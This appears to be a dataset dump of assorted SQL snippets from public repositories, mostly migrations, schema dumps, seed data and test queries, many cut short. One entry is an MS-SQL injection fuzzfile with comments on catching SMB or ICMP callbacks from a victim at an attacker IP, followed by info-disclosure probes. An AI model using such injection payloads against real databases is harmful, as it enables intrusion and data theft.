sql
stringlengths
6
1.05M
INSERT INTO `guns`.`sys_menu` (`id`, `code`, `pcode`, `pcodes`, `name`, `icon`, `url`, `num`, `levels`, `ismenu`, `tips`, `status`, `isopen`) VALUES ('1101321546003185666', 'asset', 'system', '[0],[system],', '资源管理', '', '/asset', '99', '2', '1', NULL, '1', '0'); INSERT INTO `guns`.`sys_menu` (`id`, `code`, `pcode`, `p...
<gh_stars>0 ALTER TABLE hydra_oauth2_trusted_jwt_bearer_issuer DROP COLUMN allow_any_subject;
<reponame>Ed-Fi-Alliance-OSS/Ed-Fi-MigrationUtility<filename>EdFi.Ods.Utilities.Migration/Scripts/MsSql/02Upgrade/v25_to_v31/09 Update Existing Tables/11340 LearningStandard.sql -- SPDX-License-Identifier: Apache-2.0 -- Licensed to the Ed-Fi Alliance under one or more agreements. -- The Ed-Fi Alliance licenses this fil...
<filename>Common/SqlUtilities/DictionaryStore/Scripts/StoredProcedures/update/update_GetEntry.sql SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO -- ============================================= -- Author: bwoodall -- Create date: 2012-06-07 -- Description: Get an entry from Entry table -- ===================...
<reponame>Consult2016/super-devops SELECT f.ID AS "id", SUBSTRING_INDEX(f.ID, '/', 1) AS "dbName", SUBSTRING_INDEX(f.FOR_NAME, '/', - 1) AS "forTableName", SUBSTRING_INDEX(f.REF_NAME, '/', - 1) AS "refTableName", fc.FOR_COL_NAME AS "forColumnName", fc.REF_COL_NAME AS "refColumnName" FROM information_schema.INNOD...
<reponame>blinkops/blink-aws-query select name, arn from aws.aws_ec2_network_load_balancer where name = '{{resourceName}}'
<filename>tests/queries/0_stateless/01097_one_more_range_reader_test.sql<gh_stars>1000+ drop table if exists t; create table t (id UInt32, a Int) engine = MergeTree order by id; insert into t values (1, 0) (2, 1) (3, 0) (4, 0) (5, 0); alter table t add column s String default 'foo'; select s from t prewhere a = 1; d...
<reponame>SKalt/pg_sql_parser_tests<filename>fixtures/doctests/advanced/012/input.sql CREATE TABLE capitals ( name text, population real, elevation int, -- (in ft) state char(2) ); CREATE TABLE non_capitals ( name text, population real, elevation int -- (in ft) ); CREATE VIEW c...
<reponame>artgoldberg/leaf-scripts<filename>omop/5.3/0_views.sql /** * Leaf OMOP 5.3 bootstrap script. * Create Views * Notes - The `dbo.v_death` view is needed because Leaf * assumes that any longitudinal SQL set (concretely, * a set which has any sort of associated dates) *also* * cont...
SET SESSION sql_mode="NO_AUTO_CREATE_USER"; ALTER TABLE `phppos_items_taxes` ADD `cumulative` INT( 1 ) NOT NULL DEFAULT '0'; ALTER TABLE `phppos_item_kits_taxes` ADD `cumulative` INT( 1 ) NOT NULL DEFAULT '0'; ALTER TABLE `phppos_sales_items_taxes` ADD `cumulative` INT( 1 ) NOT NULL DEFAULT '0'; ALTER TABLE `...
<filename>phoneserver/Scriptdb/Products.sql USE [phone] GO SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE TABLE [dbo].[Products]( [product_id] [int] IDENTITY(1,1) NOT NULL, [product_name] [nvarchar] (255) null, [brand_id][int]null, [category_id][int]null, [model_year][nvarchar] (255) null, [price...
<reponame>delvinso/divvy-chicago ---- anonymous -- hourly CREATE TABLE anon_hourly AS SELECT date_trunc('hour', start_time + interval '30 minute') round_hour, start_station_id, gender, EXTRACT(YEAR FROM start_time) - birth_year::int AS age, COUNT(*) AS count FROM trips WHERE user_type = 'S...
insert into exclude_prg ( id ) values %s on conflict do nothing;
CREATE INDEX ne_110m_lakes_wayarea_index ON ne_110m_lakes(way_area);
<gh_stars>0 -- -------------------------------------------------------- -- Host: localhost -- Server version: 5.7.24 - MySQL Community Server (GPL) -- Server OS: Win64 -- HeidiSQL Version: 10.2.0.5599 -- -----------------------------------------------...
<gh_stars>0 -- drop database if existing the create new database DROP DATABASE IF EXISTS employee_tracker; CREATE DATABASE employee_tracker; USE employee_tracker; -- creates department table CREATE TABLE department ( id INT PRIMARY KEY AUTO_INCREMENT, name VARCHAR(30) NOT NULL ); -- creates role table CREATE...
SELECT [filename], creation_time, size_in_bytes/1048576.0 AS [Size (MB)] FROM sys.dm_server_memory_dumps WITH (NOLOCK) ORDER BY creation_time DESC OPTION (RECOMPILE);
<reponame>MalteSchledjewski/edacc_gui INSERT INTO StatusCodes VALUES (20, 'terminated by user');
<gh_stars>1-10 ALTER TABLE "public"."o2_provider" ADD COLUMN "address" jsonb NULL;
SELECT * FROM tbcliente; SELECT * FROM tbcliente WHERE IDADE = 22; SELECT * FROM tbcliente WHERE IDADE > 22; SELECT * FROM tbcliente WHERE IDADE < 22; SELECT * FROM tbcliente WHERE IDADE <= 22; SELECT * FROM tbcliente WHERE IDADE <> 22; SELECT * FROM tbcliente WHERE NOME >= '<NAME>'; SELECT * FROM tbcliente WHER...
<gh_stars>1-10 CREATE PROCEDURE [dbo].[AddFileToBackupQueue] ( @ID UNIQUEIDENTIFIER, @Priority INT ) AS BEGIN SET ARITHABORT, NOCOUNT, XACT_ABORT ON; SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED; -- param validation IF @ID IS NULL BEGIN ;THROW 50000, 'ID must be populated.', 0 END IF @Prior...
-- subquery.test -- -- execsql { -- CREATE TABLE t7(c7); -- INSERT INTO t7 VALUES(1); -- INSERT INTO t7 VALUES(2); -- INSERT INTO t7 VALUES(3); -- CREATE TABLE t8(c8); -- INSERT INTO t8 VALUES(100); -- INSERT INTO t8 VALUES(200); -- INSERT INTO t8 VALUES(300); -- CREATE TABLE t9(c9)...
-- -- PostgreSQL database dump -- -- Dumped from database version 9.6.1 -- Dumped by pg_dump version 9.6.1 SET statement_timeout = 0; SET lock_timeout = 0; SET idle_in_transaction_session_timeout = 0; SET client_encoding = 'UTF8'; SET standard_conforming_strings = on; SET check_function_bodies = false; SET client_min...
-- file:domain.sql ln:353 expect:true drop domain ddef1 restrict
--Data analysis --List details of each employee select Employees.employ_num, Employees.last_name, Employees.first_name, Employees.gender, Salaries.salary from Employees inner join Salaries on Employees.employ_num = Salaries.employ_num ; --List employees who were hired in 1986. select * from employees where D...
<filename>CapsData/Create Scripts/Tables/Constraints/CHK_Cap_Surface.chkconst.sql ALTER TABLE [dbo].[Cap] ADD CONSTRAINT [CHK_Cap_Surface] CHECK ([Surface]='G' OR [Surface]='M');
-- phpMyAdmin SQL Dump -- version 4.1.14 -- http://www.phpmyadmin.net -- -- Host: 127.0.0.1 -- Generation Time: 2016-08-22 01:35:17 -- 服务器版本: 5.6.17 -- PHP Version: 5.5.12 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET ...
-- phpMyAdmin SQL Dump -- version 4.5.1 -- http://www.phpmyadmin.net -- -- Anamakine: 127.0.0.1 -- Üretim Zamanı: 18 Şub 2021, 15:14:15 -- Sunucu sürümü: 10.1.19-MariaDB -- PHP Sürümü: 5.6.28 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIE...
<reponame>endeavourhealth-discovery/DiscoveryQueryLibrary use data_extracts; drop procedure if exists executeBartsPancreas2Diagnosis; DELIMITER // CREATE PROCEDURE executeBartsPancreas2Diagnosis () BEGIN -- All since 2012 call populateDataset( 'dataset_p_2', 'B12%,B15%,B16%,B17%,Byu10,Byu11,Byu12,B574%,B577%,B80...
-- phpMyAdmin SQL Dump -- version 4.0.4.1 -- http://www.phpmyadmin.net -- -- Host: 127.0.0.1 -- Erstellungszeit: 15. Mai 2015 um 11:01 -- Server Version: 5.5.32 -- PHP-Version: 5.4.19 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /...
CREATE TABLE [Entity].[EntityLocation] ( [EntityLocationId] INT IDENTITY (1, 1) CONSTRAINT [DF_EntityLocation_Entity] NOT NULL, [EntityLocationKey] UNIQUEIDENTIFIER CONSTRAINT [DF_EntityLocation_Entity] DEFAULT(NewId()) NOT NULL, [EntityKey] UNIQUEIDENTIFIER CONSTRAINT [DF_Enti...
<gh_stars>100-1000 CREATE EXTENSION hstore;
<reponame>Zhaojia2019/cubrid-testcases --test all kinds of date/time types for the first 2 params create table soo( col1 date, col2 time, col3 timestamp, col4 datetime, col5 date, col6 time, col7 timestamp, col8 datetime ); insert into soo values (date'2010-10-18', time'10:10:18 am', timestamp'10/18/2010 ...
-- +migrate Up UPDATE action SET name = 'ReleaseVCS' WHERE name = 'Release' and type = 'Builtin' -- +migrate Down UPDATE action SET name = 'Release' WHERE name = 'ReleaseVCS' and type = 'Builtin'
# make melee weapons op # bronze axe - 16640 # onion dagger - 16482 # onion staff - 17104 # onion rod - 17068 # onion sword - 16534 # onion knife - 16483 # deathbringer - 16637 # butterfly axe - 16704 # bronze zaghnal - 16768 # harpoon - 16832 # kunai - 16896 # tachi - 16966 # shortbow - 17152 # light crossbow - 17216 ...
CREATE DATABASE /*!32312 IF NOT EXISTS*/`crud_clientes`; USE `crud_clientes`; /*Table structure for table `clientes` */ DROP TABLE IF EXISTS `clientes`; CREATE TABLE `clientes` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `identificacion` VARCHAR(20) NOT NULL, `nombre` VARCHAR(100) NOT NULL, `telefono` ...
CREATE TABLE `product_spu` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键id', `name` varchar(255) NOT NULL DEFAULT '' COMMENT 'spu名称', `desc` varchar(255) NOT NULL DEFAULT '' COMMENT 'spu描述', `brand_id` int(11) unsigned NOT NULL DEFAULT '0' COMMENT '品牌ID', `category_id` int(11) unsign...
-- phpMyAdmin SQL Dump -- version 4.4.13.1 -- http://www.phpmyadmin.net -- -- Servidor: localhost:3306 -- Tiempo de generación: 25-02-2016 a las 01:02:10 -- Versión del servidor: 5.6.26 -- Versión de PHP: 5.5.29 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=...
<gh_stars>0 # Invitee schema # --- !Ups CREATE TABLE Invitee ( irn varchar(20) NOT NULL, display_name varchar(255) NOT NULL, plus_one boolean default false, edinburgh boolean default false, australia boolean default false, number_invited int default 0, last_viewed timestamp default NULL,...
-- -- PostgreSQL database dump -- -- Dumped from database version 12.4 -- Dumped by pg_dump version 13.3 SET statement_timeout = 0; SET lock_timeout = 0; SET idle_in_transaction_session_timeout = 0; SET client_encoding = 'UTF8'; SET standard_conforming_strings = on; SELECT pg_catalog.set_config('search_path', '', fal...
{{ config( tags=['unit-test'] ) }} {% call test_should_fail ('covid19_stats', 'more rows on expectations') %} {% call dbt_unit_testing.mock_ref ('covid19_cases_per_day', {"input_format": "csv"}) %} day::Date, cases, country_id '2021-05-05', 10, 'uk' {% endcall %} {% call dbt_unit_test...
<gh_stars>0 -- phpMyAdmin SQL Dump -- version 5.0.2 -- https://www.phpmyadmin.net/ -- -- Host: 127.0.0.1 -- Generation Time: Jun 25, 2020 at 11:13 AM -- Server version: 10.4.11-MariaDB -- PHP Version: 7.4.6 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACT...
<filename>db/changes/1534777987_district_publish/revert.sql # dest.postreq: db/changes/1528823624_lc_enums DELETE FROM user_question_set WHERE user_id IS NULL; ALTER TABLE user_question_set DROP FOREIGN KEY IF EXISTS user_question_set_ibfk_2; ALTER TABLE user_question_set DROP FOREIGN KEY IF EXISTS user_question_set_...
Departamento (id, nome, idGerente) idGerente referencia Funcionario Funcionario (id, nome, email, idDepartamento) idDepartamento referencia Departamento Projeto (id, nome, dataPrevista) FuncProj (idProjeto, idFuncionario) idFuncionario referencia Funcionario idProjeto referencia Projeto CREATE TABLE Departamento ...
<filename>employeeSeeds.sql INSERT INTO department (name) VALUES ("Pathology"), ("Histology"), ("Office"), ("Maintenance"); INSERT INTO role (title, salary, department_id) VALUES ("Histology Manager", 85000, 2), ("Office Manager", 105000, 3), ("pathologist", 279000, 1), ("Histotech", 56000, 2), ("Grosser", 64000, 2),...
<filename>sql/items.sql -- Gets all the items CREATE OR REPLACE FUNCTION items(p_list_id INTEGER) RETURNS SETOF VARCHAR(255) AS $$ SELECT name FROM item $$ LANGUAGE SQL;
<reponame>lgcarrier/AFW SET DEFINE OFF; CREATE INDEX AFW_25_PARMT_PUBLC_TRAVL_FK2 ON AFW_25_PARMT_PUBLC_TRAVL (REF_PARMT_TYPE_PUBLC) LOGGING /
<reponame>munich/ssh_five_core CREATE INDEX IF NOT EXISTS "transactions_timestamp" ON ${schema~}.transactions ("timestamp");
<reponame>Dairlair/twitwatch TRUNCATE TABLE tweet_stream; ALTER TABLE tweet_stream ADD COLUMN topic_id BIGINT NOT NULL, ADD CONSTRAINT tweet_stream_topic_fk FOREIGN KEY (topic_id) REFERENCES topic (topic_id) ON DELETE CASCADE;
<filename>ReadItLater.Db/StoredProcedures/GetBreadcrumbs.sql CREATE PROCEDURE [dbo].[GetBreadcrumbs] @id UNIQUEIDENTIFIER AS WITH cteFolders([Id], [Name], [ParentId], [Position]) AS ( SELECT [Id], [Name], [ParentId], 0 FROM [Folders] WHERE [Id] = @id UNION ALL SELECT F.[Id], F.[Name], F.[ParentId], [Posi...
-- -- Copyright (c) 2020 Alexander (Oleksandr) Sinitsyn -- CREATE PROCEDURE testSSPM.Test_CopyTable_Heap4 as set nocount on CREATE PARTITION FUNCTION PF_TestHeap4 (int) AS RANGE RIGHT FOR VALUES (1, 2, 3) CREATE PARTITION SCHEME PS_TestHeap4 AS PARTITION PF_TestHeap4 ALL TO ([PRIMARY]) CREATE TABLE TestHeap4(c1 int ...
Insert into KRIM_ROLE_PERM_T (ROLE_PERM_ID,ROLE_ID,PERM_ID,ACTV_IND,OBJ_ID,VER_NBR) VALUES (KRIM_ROLE_PERM_ID_S.NEXTVAL, (SELECT ROLE_ID FROM KRIM_ROLE_T WHERE ROLE_NM = 'Award Budget Approver' AND NMSPC_CD = 'KC-AWARD'), (SELECT PERM_ID FROM KRIM_PERM_T WHERE NM = 'View Award' AND NMSPC_CD = 'KC-AWARD'), 'Y','77151AD...
-- These materialized views haven't been used since January 2018, and -- don't exist in servers created after that date. We can get rid of -- them in servers that were created before that date. drop materialized view if exists mv_works_editions_datasources_identifiers; drop materialized view if exists mv_works_editions...
alter table rooms add server_room_id int(11) default 0 comment "内存房间号"; ALTER DATABASE pzmj CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci; ALTER TABLE users CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
SELECT fn_db_delete_config_value_all_versions('AgentChannelNamingSupported');
INSERT INTO `tableoptions` (`tabledefid`, `name`, `option`, `needselect`, `othercommand`, `roleid`, `displayorder`) VALUES ('tbld:6d290174-8b73-e199-fe6c-bcf3d4b61083', 'massEmail', 'sync to MailChimp', '0', '1', 'Admin', '100');
CREATE PROCEDURE [dbo].[SP_RoleGroupAkses_GetById] @Id bigint AS select*from GroupData where IdRole = @Id
<reponame>yayanrw/siekskul<gh_stars>0 -- phpMyAdmin SQL Dump -- version 4.7.4 -- https://www.phpmyadmin.net/ -- -- Host: localhost -- Generation Time: Jul 26, 2018 at 02:57 AM -- Server version: 10.1.26-MariaDB -- PHP Version: 7.1.9 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET tim...
insert into products(category_id, name, url, image, price, in_stock) SELECT (array[11,12,22,27,28,29,30,31,32])[floor(random() * 9 + 1)] as category_id, (array['potato', 'orange', 'onion', 'carrot', 'lemon', 'banana', 'apple', 'chanterelles'])[floor(random() * 8 + 1)] as name, md5(random()::text) as url, (array['potato...
<filename>prisma/migrations/20211219205711_added_new_tables/migration.sql /* Warnings: - The primary key for the `Location` table will be changed. If it partially fails, the table could be left without primary key constraint. - You are about to drop the column `id` on the `Location` table. All the data in the co...
<reponame>nyush-se-spring2021-forum/OurTieba UPDATE admin SET password = '<PASSWORD>', aname = 'root', nickname = 'root', avatar = 'avatar/default_avatar.jpg', timestamp = '2000-01-01 00:00:00.000000' WHERE Aid = 1;UPDATE board SET name = 'B1', description = 'D1', hot = 100, cover = 'cover/OurTieba.png', status = 0, st...
SET SERVEROUTPUT ON CREATE OR REPLACE PROCEDURE ADD_OUTROS( OUTROSID OUTROS.COD_OUTRO%TYPE, OUTROSTIPO OUTROS.TIPO%TYPE, OUTROSEST OUTROS.ESTILO%TYPE ) IS BEGIN INSERT INTO OUTROS VALUES(OUTROSID,OUTROSTIPO,OUTROSEST); DBMS_OUTPUT.PUT_LINE('INSERIDO'); END; / EXEC ADD_OUTROS(6,'TESTE','TESTE'); SE...
SET FOREIGN_KEY_CHECKS=0; -- ---------------------------- -- Table structure -- ---------------------------- DROP TABLE IF EXISTS `menus`; CREATE TABLE `menus` ( `id` int(11) NOT NULL AUTO_INCREMENT, `parent` int(11) DEFAULT NULL, `label` varchar(50) NOT NULL, `icon` varchar(30) NOT NULL, `slug` varchar(50) ...
CREATE TABLE CustomerData ( CustomerName VARCHAR(20), PhoneNumber INTEGER(10), Address VARCHAR(50), Item VARCHAR(50), Bill INTEGER(5), PRIMARY KEY (CustomerName) )
CREATE TABLE IF NOT EXISTS targets ( id integer primary key, type text, hostname text, ipaddress text ); INSERT INTO targets (type, hostname,ipaddress) VALUES ('server', 'esx1.tafelab.net', '10.1.20.21'); INSERT INTO targets (type, hostname,ipaddress) VALUES ('server', 'khonsu.students.sunitafe.ed...
<reponame>brunofortes/maze-game INSERT INTO public.maze (id_maze, begin_x, begin_y, end_x, end_y, height, name, width) VALUES (1, 1, 1, 63, 31, 31, 'SAMPLE MAZE 1', 63); INSERT INTO public.maze (id_maze, begin_x, begin_y, end_x, end_y, height, name, width) VALUES (3, 1, 1, 63, 31, 31, 'SAMPLE MAZE 3', 63); INSERT INTO...
USE AdventureWorks2014 SELECT Name, ProductNumber, ListPrice AS 'Stara Cijena', (ListPrice * 1.1) AS 'Nova cijena' FROM Production.Product WHERE ListPrice > 0
<reponame>ligana/Ensemble-om-SpringBoot drop table if exists FM_GAP_TYPE; /*==============================================================*/ /* Table: FM_GAP_TYPE */ /*==============================================================*/ create table FM_GAP_TYPE ( GAP_TYPE varch...
<filename>SQLI-Payload.sql # ms-sqli info disclosure payload fuzzfile # replace regex with your fuzzer for best results <attackerip> <sharename> # run wireshark or tcpdump, look for incoming smb or icmp packets from victim # might need to terminate payloads with ;-- select @@version select @@servernamee select @@...
-- trans.test -- -- execsql {SELECT name FROM sqlite_master WHERE type='table' ORDER BY name} SELECT name FROM sqlite_master WHERE type='table' ORDER BY name
<reponame>robertclemo/Project-Ark select catcondition from cats select * from cats where catcondition = 'Stable'; select * from dogs where adoptable = 'Yes'; #_________THIS JOINS columns from both TABLES to A SINGLE column_________ select name, age, adoptable from cats union select name, age, adoptable...
-- Deploy postgraphile_user_system:user_authentication_secrets to pg -- requires: user_authentications BEGIN; SET search_path TO app_private,public; CREATE TABLE user_authentication_secrets ( user_authentication_id uuid NOT NULL primary key references app_public.user_authentications on delete cascade, de...
<gh_stars>0 /* CREATE DATABASE JNHS_LIBRARYMS */ /* USE JNHS_LIBRARYMS */ /* create table Users ( UserID int identity(1001,1) primary key, FirstName varchar(50), MiddleName varchar(50), LastName varchar(50), Address varchar(50), ContactNumber varchar(50), Email varchar(50), UserName varchar(50), Password v...
<filename>database/resort_management.sql -- phpMyAdmin SQL Dump -- version 5.0.3 -- https://www.phpmyadmin.net/ -- -- Host: 1192.168.3.11 -- Generation Time: Dec 02, 2020 at 05:48 PM -- Server version: 10.4.14-MariaDB -- PHP Version: 7.4.11 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; START TRANSACTION; SET time_zone = "+0...
SELECT 'Upgrading Sentry store schema from 1.4.0 to 1.4.0-mapr' AS ' '; SOURCE 001-SENTRY-327.mysql.sql; SOURCE 002-SENTRY-339.mysql.sql; SOURCE 003-SENTRY-380.mysql.sql; UPDATE SENTRY_VERSION SET SCHEMA_VERSION='1.4.0-mapr', VERSION_COMMENT='Sentry release version 1.4.0-mapr' WHERE VER_ID=1; SELECT 'Finish upgrading ...
/* SQLyog Community v9.63 MySQL - 5.5.16 : Database - tutor ********************************************************************* */ /*!40101 SET NAMES utf8 */; /*!40101 SET SQL_MODE=''*/; /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN...
CREATE TABLE Genomics ( GenomicsID bigint NOT NULL auto_increment, clnclinterventionsID bigint, GenomicsLink varchar(65), CreatedDate date DEFAULT (getdate()), StatusID smallint DEFAULT ((1)), PRIMARY KEY (GenomicsID) ); CREATE TABLE Interventions ( InterventionID bigint NOT NULL auto_increment, AdmitDate varch...
<gh_stars>1-10 -- filter data -- static INSERT INTO Organisation SELECT * FROM Raw_Organisation; INSERT INTO Place SELECT * FROM Raw_Place; INSERT INTO Tag SELECT * FROM Raw_Tag; INSERT INTO TagClass SELECT * FROM Raw_TagClass; -- static / separate labels INSERT INTO Company SELECT id, name, url, isLocate...
IF OBJECT_ID('tSQLt.Private_GetSQLProductMajorVersion') IS NOT NULL DROP PROCEDURE tSQLt.Private_GetSQLProductMajorVersion; GO ---Build+ GO CREATE PROCEDURE tSQLt.Private_GetSQLProductMajorVersion AS RETURN CAST(PARSENAME(CAST(SERVERPROPERTY('ProductVersion') AS NVARCHAR(MAX)),4) AS INT); GO ---Build- GO DECLARE @Ver...
<gh_stars>10-100 # --- MapRoulette Scheme # --- !Ups -- Add completion_responses for tasks ALTER TABLE tasks ADD COLUMN completion_responses jsonb;; ALTER TABLE challenges ADD COLUMN exportable_properties text;; # --- !Downs ALTER TABLE tasks DROP COLUMN completion_responses;; ALTER TABLE challenges DROP COLUMN expor...
<gh_stars>0 INSERT INTO `tforce`.`chat_msgs` (`created_at`, `is_new`, `task_id`, `user_id`, `text`) VALUES ('2019-12-20 09:01:01', 0, 2, 17, 'Hi,bro. Did you do my job?'), ('2019-12-20 10:02:26', 1, 2, 1, 'Hello, mr Alex. No. I need more time and money');
<gh_stars>1-10 CREATE TABLE [dbo].[FormulaConstraint] ( [Id] UNIQUEIDENTIFIER NOT NULL, [FormulaId] UNIQUEIDENTIFIER NOT NULL, [ArgumentId] UNIQUEIDENTIFIER NOT NULL, [Comparison] VARCHAR (65) NOT NULL, [Value] VARCHAR (120) NOT NULL, CONSTRAINT [PK_FormulaConstraint]...
DROP TABLE IF EXISTS books; CREATE TABLE books ( title TEXT, author TEXT, id VARCHAR(255) PRIMARY KEY, description TEXT, image_link TEXT );
INSERT INTO `project` (`title`,`abstract`,`poster`,`video`,`project_id`,`module_id`) VALUES ("BB3218 Project 1","Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Curabitur sed tortor. Integer aliquam adipiscing lacus. Ut nec urna et arcu imperdiet ullamcorper. Duis at lacus. Quisque purus sapien, gravida non, ...
<reponame>nabeelkhan/Oracle-DBA-Life select decode(a.qcserial#, null, 'PARENT', 'CHILD') stmt_level, a.sid, a.serial#, b.username, b.osuser, b.sql_hash_value, b.sql_address, a.degree, a.req_degree from v$px_session a, v$session b where a.sid = b.sid order by a....
<reponame>nfabiop/HackerRank SELECT FLOOR(AVG(T.Salary) - AVG(T.miscalculated))+1 FROM ( SELECT Salary AS "Salary", CAST(REPLACE(CAST(Salary AS VARCHAR(4)),'0','') AS INT) AS "miscalculated" FROM EMPLOYEES ) T
<reponame>ShruKin/Software-Engineering-Lab -- phpMyAdmin SQL Dump -- version 5.1.0 -- https://www.phpmyadmin.net/ -- -- Host: 127.0.0.1 -- Generation Time: May 17, 2021 at 05:57 PM -- Server version: 10.4.18-MariaDB -- PHP Version: 8.0.3 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; START TRANSACTION; SET time_zone = "+00:0...
<gh_stars>0 drop function abac_subject_target(_attrs abac_attribute[]);
SELECT id FROM users ORDER BY id DESC LIMIT 1 SELECT id FROM users WHERE id > ? ORDER BY id ASC LIMIT ? SELECT token FROM access_tokens LIMIT 200;
INSERT INTO users (name, email, password) VALUES ('Marcos', '<EMAIL>', '<PASSWORD>'); INSERT INTO users (name, email, password) VALUES ('José', '<EMAIL>', '<PASSWORD>'); INSERT INTO campings (name, state, city, address, description, contact, id_user) VALUES ('Acampamento Floresta', 'SP', 'Eldorado', 'Rua Salgueiro, 22...
<filename>src/main/resources/data.sql INSERT INTO Category (title, description) VALUES ('Hauptspeisen','Blabla1'); INSERT INTO Category (title, description) VALUES ('Nachspeisen','Blabla2'); INSERT INTO Category (title, description) VALUES ('Suppen','Blabla3'); INSERT INTO Category (title, description) VALUES ('Saucen'...
-- file:numeric_big.sql ln:416 expect:true INSERT INTO num_exp_add VALUES (9,5,'-597892150.0877104482254081079637055296670703246401795826984793473076954264440291372384802690928513310908945263248080016807460709089399128380872699017106286753801223727000093279870478160896909650845096018596429259467735624195627771438050018...
-- file:plpgsql.sql ln:1105 expect:false if sltype = ''PH'' then select into rec * from PHone where slotname = rec.slotlink
<gh_stars>10-100 -- file:inherit.sql ln:242 expect:true CREATE TABLE bc (bb TEXT) INHERITS (ac)
<filename>src/Database/CompanyName.MyMeetings.Database/meetings/Tables/Meetings.sql CREATE TABLE meetings.Meetings ( [Id] UNIQUEIDENTIFIER NOT NULL, [MeetingGroupId] UNIQUEIDENTIFIER NOT NULL, [CreatorId] UNIQUEIDENTIFIER NOT NULL, [CreateDate] DATETIME2 NOT NULL, [Title] NVARCHAR(200) NOT NULL, ...
-- Test_RegexMatches USE AdventureWorks2014; GO -------------------------------------------------------------------------------- -- Test the function on its own -- -- The regular expression pattern has the following parts: -- [fd] any single character in the set, ie f or d -- o literal o -- [xg] any single charact...
<filename>hibernate-release-5.3.7.Final/project/documentation/src/main/asciidoc/userguide/chapters/locking/extras/locking-jpa-query-hints-timeout-example.sql SELECT explicitlo0_.id AS id1_0_0_, explicitlo0_."name" AS name2_0_0_ FROM person explicitlo0_ WHERE explicitlo0_.id = 1 FOR UPDATE wait 2
CREATE TABLE `am_addon_meta` ( `id` bigint NOT NULL AUTO_INCREMENT COMMENT 'ID', `gmt_create` datetime NULL COMMENT '创建时间', `gmt_modified` datetime NULL COMMENT '最后修改时间', `addon_id` varchar(32) NULL COMMENT '附加组件唯一标识', `addon_version` varchar(32) NULL COMMENT '版本号...
<filename>src/testsuite/noninteractive/add_views.sql -- =================================================================== -- -- This file contains views that must be loaded in PostgreSQL for the -- noninteractive tests to run -- -- =================================================================== -- -- Used in te...
---------------------------- -- Copyright (C) 2021 CARTO ---------------------------- CREATE OR REPLACE FUNCTION _H3_DISTANCE (index1 STRING, index2 STRING) RETURNS STRING LANGUAGE JAVASCRIPT IMMUTABLE AS $$ if (!INDEX1 || !INDEX2) { return null; } @@SF_LIBRARY_DISTANCE@@ let dist = h3Lib.h3D...